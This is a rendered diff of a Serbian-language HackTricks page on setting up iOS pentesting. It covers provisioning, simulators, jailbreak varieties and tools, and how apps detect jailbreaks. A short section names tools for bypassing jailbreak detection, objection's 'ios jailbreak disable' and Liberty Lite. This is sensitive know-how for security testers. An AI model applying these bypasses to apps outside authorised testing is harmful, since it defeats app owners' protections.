||||
```
|
||||
## Reference
|
||||
|
||||
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -4,12 +4,12 @@
|
||||
|
||||
## Apple Developer Program
|
||||
|
||||
**Provisioning identity** je skup javnih i privatnih ključeva koji su povezani sa Apple developer nalogom. Da biste **potpisali aplikacije**, potrebno je da platite **99$/godina** da biste se registrovali u **Apple Developer Program** kako biste dobili svoju provisioning identity. Bez toga nećete moći da pokrenete aplikacije iz izvornog koda na fizičkom uređaju. Druga opcija je korišćenje **jailbroken uređaja**.
|
||||
**Provisioning identity** je skup javnih i privatnih ključeva koji su povezani sa Apple developerskim nalogom. Da biste **potpisali aplikacije**, potrebno je da platite **99$/god** da biste se registrovali u **Apple Developer Program** kako biste dobili svoju provisioning identity. Bez toga nećete moći da pokrenete aplikacije iz izvornog koda na fizičkom uređaju. Druga opcija je korišćenje **jailbroken uređaja**.
|
||||
|
||||
Počevši od Xcode 7.2, Apple je omogućio opciju za kreiranje **besplatnog iOS razvojnog provisioning profila** koji omogućava pisanje i testiranje vaše aplikacije na pravom iPhone-u. Idite na _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Dodajte novi Appli ID sa vašim podacima) --> _Kliknite na kreirani Apple ID_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
|
||||
\_\_Zatim, da biste pokrenuli vašu aplikaciju na iPhone-u, prvo morate **navesti iPhone da veruje računaru.** Zatim, možete pokušati da **pokrenete aplikaciju na mobilnom iz Xcode-a,** ali će se pojaviti greška. Idite na _Settings_ --> _General_ --> _Profiles and Device Management_ --> Izaberite nepouzdani profil i kliknite na "**Trust**".
|
||||
\_\_Zatim, da biste pokrenuli vašu aplikaciju na vašem iPhone-u, prvo morate **naznačiti iPhone da veruje računaru.** Zatim, možete pokušati da **pokrenete aplikaciju na mobilnom iz Xcode-a,** ali će se pojaviti greška. Idite na _Settings_ --> _General_ --> _Profiles and Device Management_ --> Izaberite nepouzdani profil i kliknite na "**Trust**".
|
||||
|
||||
Napomena da **aplikacije potpisane istim potpisnim sertifikatom mogu deliti resurse na siguran način, kao što su stavke iz keychain-a**.
|
||||
Napomena da **aplikacije potpisane istim potpisnim sertifikatom mogu deliti resurse na siguran način, kao što su stavke u keychain-u**.
|
||||
|
||||
Provisioning profili se čuvaju unutar telefona u **`/Library/MobileDevice/ProvisioningProfiles`**
|
||||
|
||||
@ -24,7 +24,7 @@ Prva stvar koju treba da znate je da je **izvođenje pentesta unutar simulatora
|
||||
|
||||
Svi alati potrebni za izgradnju i podršku iOS aplikaciji su **samo zvanično podržani na Mac OS**.\
|
||||
Apple-ov de facto alat za kreiranje/debugovanje/instrumentaciju iOS aplikacija je **Xcode**. Može se koristiti za preuzimanje drugih komponenti kao što su **simulatori** i različite **SDK** **verzije** potrebne za izgradnju i **testiranje** vaše aplikacije.\
|
||||
Preporučuje se da **preuzmete** Xcode iz **zvanične prodavnice aplikacija**. Druge verzije mogu sadržati malware.
|
||||
Preporučuje se da **preuzmete** Xcode iz **zvanične prodavnice aplikacija**. Druge verzije mogu sadržati malver.
|
||||
|
||||
Datoteke simulatora se mogu naći u `/Users/<username>/Library/Developer/CoreSimulator/Devices`
|
||||
|
||||
@ -50,11 +50,15 @@ I u ovoj fascikli možete **pronaći paket aplikacije.**
|
||||
|
||||
## Emulator
|
||||
|
||||
Corellium je jedini javno dostupni iOS emulator. To je preduzetničko SaaS rešenje sa modelom licence po korisniku i ne nudi probnu licencu.
|
||||
Corellium je jedini javno dostupan iOS emulator. To je preduzetničko SaaS rešenje sa modelom licence po korisniku i ne nudi probnu licencu.
|
||||
|
||||
## Nema potrebe za Jailbreak-om
|
||||
|
||||
Pogledajte ovaj blog post o tome kako testirati iOS aplikaciju na **ne jailbroken uređaju**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
Pogledajte ovaj blog post o tome kako testirati iOS aplikaciju na **uređaju koji nije jailbreak-ovan**:
|
||||
|
||||
{{#ref}}
|
||||
ios-pentesting-without-jailbreak.md
|
||||
{{#endref}}
|
||||
|
||||
## Jailbreaking
|
||||
|
||||
@ -65,61 +69,61 @@ Apple strogo zahteva da kod koji se izvršava na iPhone-u mora biti **potpisan s
|
||||
|
||||
### Android Rooting vs. iOS Jailbreaking
|
||||
|
||||
Iako se često upoređuju, **rooting** na Android-u i **jailbreaking** na iOS-u su fundamentalno različiti procesi. Rooting Android uređaja može uključivati **instalaciju `su` binarnog fajla** ili **zamenu sistema sa rooted custom ROM-om**, što ne zahteva nužno eksploate ako je bootloader otključan. **Flashing custom ROM-ova** zamenjuje OS uređaja nakon otključavanja bootloader-a, ponekad zahtevajući eksploataciju.
|
||||
Iako se često upoređuju, **rooting** na Android-u i **jailbreaking** na iOS-u su fundamentalno različiti procesi. Rooting Android uređaja može uključivati **instalaciju `su` binarne datoteke** ili **zamenu sistema sa root-ovanim prilagođenim ROM-om**, što ne zahteva nužno eksploate ako je bootloader otključan. **Flashing custom ROM-ova** zamenjuje OS uređaja nakon otključavanja bootloader-a, ponekad zahtevajući eksploataciju.
|
||||
|
||||
Nasuprot tome, iOS uređaji ne mogu flash-ovati custom ROM-ove zbog ograničenja bootloader-a da pokreće samo Apple-om potpisane slike. **Jailbreaking iOS-a** ima za cilj da zaobiđe Apple-ove zaštite potpisivanja koda kako bi se pokrenuo nepodpisani kod, proces koji otežava Apple-ova kontinuirana unapređenja bezbednosti.
|
||||
Nasuprot tome, iOS uređaji ne mogu flash-ovati prilagođene ROM-ove zbog ograničenja bootloader-a da pokreće samo Apple-om potpisane slike. **Jailbreaking iOS** ima za cilj da zaobiđe Apple-ovu zaštitu potpisivanja koda kako bi se pokrenuo nepodpisani kod, proces koji komplikuje Apple-ovo kontinuirano unapređenje bezbednosti.
|
||||
|
||||
### Izazovi Jailbreak-ovanja
|
||||
### Izazovi Jailbreakinga
|
||||
|
||||
Jailbreaking iOS-a postaje sve teži jer Apple brzo zakrpljuje ranjivosti. **Downgrade iOS-a** je moguć samo na ograničeno vreme nakon izdanja, što čini jailbreak-ovanje vremenski osetljivim pitanjem. Uređaji korišćeni za bezbednosno testiranje ne bi trebali biti ažurirani osim ako re-jailbreak nije zagarantovan.
|
||||
Jailbreaking iOS-a postaje sve teži jer Apple brzo zakrpljuje ranjivosti. **Downgrade iOS-a** je moguć samo na ograničeno vreme nakon izdanja, što čini jailbreaking vremenski osetljivim pitanjem. Uređaji korišćeni za bezbednosno testiranje ne bi trebali biti ažurirani osim ako re-jailbreaking nije zagarantovan.
|
||||
|
||||
Ažuriranja iOS-a kontrolišu se putem **mehanizma izazov-odgovor** (SHSH blobs), omogućavajući instalaciju samo za Apple-om potpisane odgovore. Ovaj mehanizam, poznat kao "prozor potpisivanja", ograničava mogućnost čuvanja i kasnije korišćenje OTA firmware paketa. [IPSW Downloads website](https://ipsw.me) je resurs za proveru trenutnih prozora potpisivanja.
|
||||
Ažuriranja iOS-a kontrolišu **mehanizam izazova-odgovora** (SHSH blobs), omogućavajući instalaciju samo za Apple-om potpisane odgovore. Ovaj mehanizam, poznat kao "prozor potpisivanja", ograničava mogućnost čuvanja i kasnije korišćenje OTA firmware paketa. [IPSW Downloads website](https://ipsw.me) je resurs za proveru trenutnih prozora potpisivanja.
|
||||
|
||||
### Varijante Jailbreak-ovanja
|
||||
### Varijante Jailbreakinga
|
||||
|
||||
- **Tethered jailbreak-ovi** zahtevaju vezu sa računarom za svaki reboot.
|
||||
- **Semi-tethered jailbreak-ovi** omogućavaju pokretanje u ne-jailbroken režimu bez računara.
|
||||
- **Semi-untethered jailbreak-ovi** zahtevaju ručno re-jailbreak-ovanje bez potrebe za računarom.
|
||||
- **Untethered jailbreak-ovi** nude trajno rešenje za jailbreak bez potrebe za ponovnim primenom.
|
||||
- **Tethered jailbreaks** zahtevaju vezu sa računarom za svaki reboot.
|
||||
- **Semi-tethered jailbreaks** omogućavaju pokretanje u ne-jailbroken režimu bez računara.
|
||||
- **Semi-untethered jailbreaks** zahtevaju ručno re-jailbreaking bez potrebe za računarom.
|
||||
- **Untethered jailbreaks** nude trajno rešenje za jailbreak bez potrebe za ponovnom primenom.
|
||||
|
||||
### Alati i Resursi za Jailbreaking
|
||||
|
||||
Alati za jailbreak-ovanje variraju prema verziji iOS-a i uređaju. Resursi kao što su [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com), i [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) pružaju ažurirane informacije. Primeri uključuju:
|
||||
Alati za jailbreaking variraju prema verziji iOS-a i uređaju. Resursi kao što su [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com), i [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) pružaju ažurirane informacije. Primeri uključuju:
|
||||
|
||||
- [Checkra1n](https://checkra.in/) za A7-A11 čip uređaje.
|
||||
- [Palera1n](https://palera.in/) za Checkm8 uređaje (A8-A11) na iOS 15.0-16.5.
|
||||
- [Unc0ver](https://unc0ver.dev/) za iOS verzije do 14.8.
|
||||
|
||||
Modifikovanje vašeg uređaja nosi rizike, i jailbreak-ovanje treba pristupiti sa oprezom.
|
||||
Modifikacija vašeg uređaja nosi rizike, i jailbreaking treba pristupiti sa oprezom.
|
||||
|
||||
### Prednosti i Rizici Jailbreak-ovanja
|
||||
### Prednosti i Rizici Jailbreakinga
|
||||
|
||||
Jailbreaking **uklanja sandboxing koji nameće OS**, omogućavajući aplikacijama pristup celom fajl sistemu. Ova sloboda omogućava instalaciju neodobrenih aplikacija i pristup više API-ja. Međutim, za obične korisnike, jailbreak-ovanje **nije preporučljivo** zbog potencijalnih bezbednosnih rizika i nestabilnosti uređaja.
|
||||
Jailbreaking **uklanja sandboxing koji nameće OS**, omogućavajući aplikacijama pristup celom fajl sistemu. Ova sloboda omogućava instalaciju neodobrenih aplikacija i pristup više API-ja. Međutim, za obične korisnike, jailbreaking **nije preporučen** zbog potencijalnih bezbednosnih rizika i nestabilnosti uređaja.
|
||||
|
||||
### **Nakon Jailbreak-ovanja**
|
||||
### **Nakon Jailbreakinga**
|
||||
|
||||
{{#ref}}
|
||||
basic-ios-testing-operations.md
|
||||
{{#endref}}
|
||||
|
||||
### **Detekcija Jailbreak-ovanja**
|
||||
### **Detekcija Jailbreakinga**
|
||||
|
||||
**Nekoliko aplikacija će pokušati da detektuje da li je mobilni uređaj jailbreak-ovan i u tom slučaju aplikacija neće raditi**
|
||||
|
||||
- Nakon jailbreak-ovanja iOS-a **fajlovi i fascikle se obično instaliraju**, ovi se mogu pretraživati da bi se utvrdilo da li je uređaj jailbreak-ovan.
|
||||
- Na jailbreak-ovanom uređaju aplikacije dobijaju **read/write pristup novim fajlovima** van sandbox-a.
|
||||
- Neki **API** **pozivi** će **drugačije reagovati**.
|
||||
- Prisutnost **OpenSSH** servisa.
|
||||
- Pozivanje `/bin/sh` će **vratiti 1** umesto 0.
|
||||
- Nakon jailbreakinga na iOS-u **fajlovi i fascikle se obično instaliraju**, ovi se mogu pretraživati da bi se utvrdilo da li je uređaj jailbreak-ovan.
|
||||
- Na jailbreak-ovanom uređaju aplikacije dobijaju **read/write pristup novim fajlovima** van sandbox-a
|
||||
- Neki **API** **pozivi** će **drugačije reagovati**
|
||||
- Prisutnost **OpenSSH** servisa
|
||||
- Pozivanje `/bin/sh` će **vratiti 1** umesto 0
|
||||
|
||||
**Više informacija o tome kako detektovati jailbreak-ovanje** [**ovde**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**
|
||||
**Više informacija o tome kako detektovati jailbreaking** [**ovde**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**
|
||||
|
||||
Možete pokušati da izbegnete ovu detekciju koristeći **objection's** `ios jailbreak disable`
|
||||
|
||||
## **Zaobilaženje Detekcije Jailbreak-ovanja**
|
||||
## **Zaobilaženje Detekcije Jailbreakinga**
|
||||
|
||||
- Možete pokušati da izbegnete ovu detekciju koristeći **objection's** `ios jailbreak disable`
|
||||
- Takođe možete instalirati alat **Liberty Lite** (https://ryleyangus.com/repo/). Kada se repo doda, aplikacija bi trebala da se pojavi u ‘Search’ tabu.
|
||||
- Takođe možete instalirati alat **Liberty Lite** (https://ryleyangus.com/repo/). Kada se repo doda, aplikacija bi trebala da se pojavi u ‘Search’ tabu
|
||||
|
||||
## Reference
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user